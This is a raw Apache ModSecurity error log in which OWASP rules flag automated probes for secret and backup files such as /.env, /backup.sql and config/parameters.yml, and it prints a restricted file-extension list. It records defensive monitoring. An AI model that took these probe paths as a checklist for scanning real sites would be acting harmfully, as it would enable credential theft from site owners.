[Fri Jul 17 08:28:33.128374 2026] [security2:error] [pid 1993584:tid 1993584] [client 44.201.150.202:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-global": Permission denied [hostname "mail.venee.lk"] [uri "/403.shtml"] [unique_id "almaWVxP5-SsqbGuGB2lLgAAAAA"]
[Fri Jul 17 08:28:33.129195 2026] [security2:error] [pid 1993584:tid 1993584] [client 44.201.150.202:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-ip": Permission denied [hostname "mail.venee.lk"] [uri "/403.shtml"] [unique_id "almaWVxP5-SsqbGuGB2lLgAAAAA"]
[Fri Jul 17 08:28:33.156674 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaVw7FYe46zHK_jL3MbAAAABk"]
[Fri Jul 17 08:28:33.344521 2026] [security2:error] [pid 2014321:tid 2014321] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV9bqW6u97-NXXfOr3gAAACE"]
[Fri Jul 17 08:28:33.345954 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV3f2WrySr2miwA73hwAAABY"]
[Fri Jul 17 08:28:33.442612 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaVxAi3pC6yjXGNq19WwAAAAU"]
[Fri Jul 17 08:28:33.457959 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV90t9Kb_MdNxrg6-0wAAAAM"]
[Fri Jul 17 08:28:33.856825 2026] [security2:error] [pid 1996894:tid 1996894] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV44Wmn5zySdNNkAk4QAAABM"]
[Fri Jul 17 08:28:34.047804 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaVzRCJXF37-WnVv0isAAAABI"]
[Fri Jul 17 08:28:34.168927 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaWkhq6UAnqYko0LpXTwAAABE"]
[Fri Jul 17 08:28:34.169369 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaWkhq6UAnqYko0LpXTwAAABE"]
[Fri Jul 17 08:28:34.169700 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaWkhq6UAnqYko0LpXTwAAABE"]
[Fri Jul 17 08:28:34.204423 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.201.150.202:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.venee.lk"] [uri "/backup.sql"] [unique_id "almaWpOFLENLI63GGOEKYQAAAAQ"]
[Fri Jul 17 08:28:34.204756 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/backup.sql"] [unique_id "almaWpOFLENLI63GGOEKYQAAAAQ"]
[Fri Jul 17 08:28:34.205096 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/backup.sql"] [unique_id "almaWpOFLENLI63GGOEKYQAAAAQ"]
[Fri Jul 17 08:28:34.532854 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 47.82.48.20:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS3/device/subsystem/drivers_probe
[Fri Jul 17 08:28:34.545927 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.env"] [unique_id "almaWhAi3pC6yjXGNq19XAAAAAU"]
[Fri Jul 17 08:28:34.546207 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.env"] [unique_id "almaWhAi3pC6yjXGNq19XAAAAAU"]
[Fri Jul 17 08:28:34.546467 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.env"] [unique_id "almaWhAi3pC6yjXGNq19XAAAAAU"]
[Fri Jul 17 08:28:34.583557 2026] [security2:error] [pid 2014256:tid 2014256] [client 44.201.150.202:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-global": Permission denied [hostname "mail.venee.lk"] [uri "/config.php"] [unique_id "almaWoZvbo7N5o5zeYC68wAAABw"]
[Fri Jul 17 08:28:34.583593 2026] [security2:error] [pid 2014256:tid 2014256] [client 44.201.150.202:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-ip": Permission denied [hostname "mail.venee.lk"] [uri "/config.php"] [unique_id "almaWoZvbo7N5o5zeYC68wAAABw"]
[Fri Jul 17 08:28:34.604800 2026] [security2:error] [pid 2013797:tid 2013797] [client 44.201.150.202:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.venee.lk"] [uri "/.env.backup"] [unique_id "almaWlh1WDijTxd1xw5JAwAAAAc"]
[Fri Jul 17 08:28:34.604964 2026] [security2:error] [pid 2013797:tid 2013797] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.env.backup"] [unique_id "almaWlh1WDijTxd1xw5JAwAAAAc"]
[Fri Jul 17 08:28:34.605209 2026] [security2:error] [pid 2013797:tid 2013797] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.env.backup"] [unique_id "almaWlh1WDijTxd1xw5JAwAAAAc"]
[Fri Jul 17 08:28:34.605552 2026] [security2:error] [pid 2013797:tid 2013797] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.env.backup"] [unique_id "almaWlh1WDijTxd1xw5JAwAAAAc"]
[Fri Jul 17 08:28:34.789262 2026] [cgi:error] [pid 1996894:tid 1996894] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:28:34.789338 2026] [cgi:error] [pid 1996894:tid 1996894] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:28:35.620227 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "web.venee.lk"] [uri "/.env.backup"] [unique_id "almaW1xP5-SsqbGuGB2lMAAAAAA"]
[Fri Jul 17 08:28:35.620341 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.env.staging"] [unique_id "almaW5OFLENLI63GGOEKYgAAAAQ"]
[Fri Jul 17 08:28:35.620382 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.env.backup"] [unique_id "almaW1xP5-SsqbGuGB2lMAAAAAA"]
[Fri Jul 17 08:28:35.620564 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.env.backup"] [unique_id "almaW1xP5-SsqbGuGB2lMAAAAAA"]
[Fri Jul 17 08:28:35.620565 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.env.staging"] [unique_id "almaW5OFLENLI63GGOEKYgAAAAQ"]
[Fri Jul 17 08:28:35.620881 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.env.staging"] [unique_id "almaW5OFLENLI63GGOEKYgAAAAQ"]
[Fri Jul 17 08:28:35.620916 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.env.backup"] [unique_id "almaW1xP5-SsqbGuGB2lMAAAAAA"]
[Fri Jul 17 08:28:35.621495 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.env"] [unique_id "almaW0gVnBK6wAv37w6o0wAAABQ"]
[Fri Jul 17 08:28:35.621704 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.env"] [unique_id "almaW0gVnBK6wAv37w6o0wAAABQ"]
[Fri Jul 17 08:28:35.622052 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.env"] [unique_id "almaW0gVnBK6wAv37w6o0wAAABQ"]
[Fri Jul 17 08:28:35.660320 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.env.local"] [unique_id "almaWw7FYe46zHK_jL3MbgAAABk"]
[Fri Jul 17 08:28:35.660555 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.env.local"] [unique_id "almaWw7FYe46zHK_jL3MbgAAABk"]
[Fri Jul 17 08:28:35.660861 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.env.local"] [unique_id "almaWw7FYe46zHK_jL3MbgAAABk"]
[Fri Jul 17 08:28:36.061151 2026] [security2:error] [pid 2014256:tid 2014256] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaXIZvbo7N5o5zeYC69AAAABw"]
[Fri Jul 17 08:28:36.061388 2026] [security2:error] [pid 2014256:tid 2014256] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaXIZvbo7N5o5zeYC69AAAABw"]
